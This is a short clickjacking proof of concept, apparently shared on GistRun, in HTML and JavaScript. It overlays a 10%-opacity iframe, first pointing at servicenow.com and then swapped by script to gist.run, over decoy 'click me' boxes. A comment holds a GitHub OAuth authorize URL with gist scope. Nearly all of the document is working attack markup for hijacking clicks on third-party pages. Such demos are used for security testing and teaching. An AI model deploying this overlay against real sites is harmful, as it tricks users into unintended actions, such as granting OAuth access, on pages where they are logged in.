Clickjacking PoC

by dshilkret

HTML

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>GistRun</title>
  <link rel="stylesheet" href="styles.css">
  <style> 
  #infoi {
  position: relative;
  display: inline-block;
  top: 140px;
  left:-200px;
  opacity: 10%;

  /*
  *  Styling only, the below can be changed or removed
  *  depending on your use case
  */

  padding: 10px 10px;
  }
  </style>
</head>
<body>
  <h1>Clickjacking demo</h1>
  
  <div onclick="alert('you clicked me!');" style=" width: 100px; padding: 10px; border: 1px solid red"><br />click me<br/>&nbsp;</div>
  
  <div onclick="alert('you clicked me!');"style="position: relative; width: 100px; padding: 10px; border: 1px solid red"><br />click me please<br/>&nbsp;</div>
  <div id="infoi" style="z-index: 10; position: absolute; position-top: -10px; border: 1px dotted green"><iframe id=MyIframe src="https://www.servicenow.com/" sandbox="allow-scripts allow-same-origin allow-forms"></iframe></div>
  <br/>
  
  
</body>
</html>

JavaScript

//sandbox="allow-scripts allow-same-origin allow-forms allow-popups"
//https://github.com/login/oauth/authorize?client_id=13b6e534ab9bc9953506&redirect_uri=https%3A%2F%2Fgist.run%2Fredirect-target.html&scope=gist&state=15362
//https://gist.run
swapSource();
function swapSource(){
	var iframe = document.getElementById("MyIframe");
  iframe.src = "https://gist.run";
 
}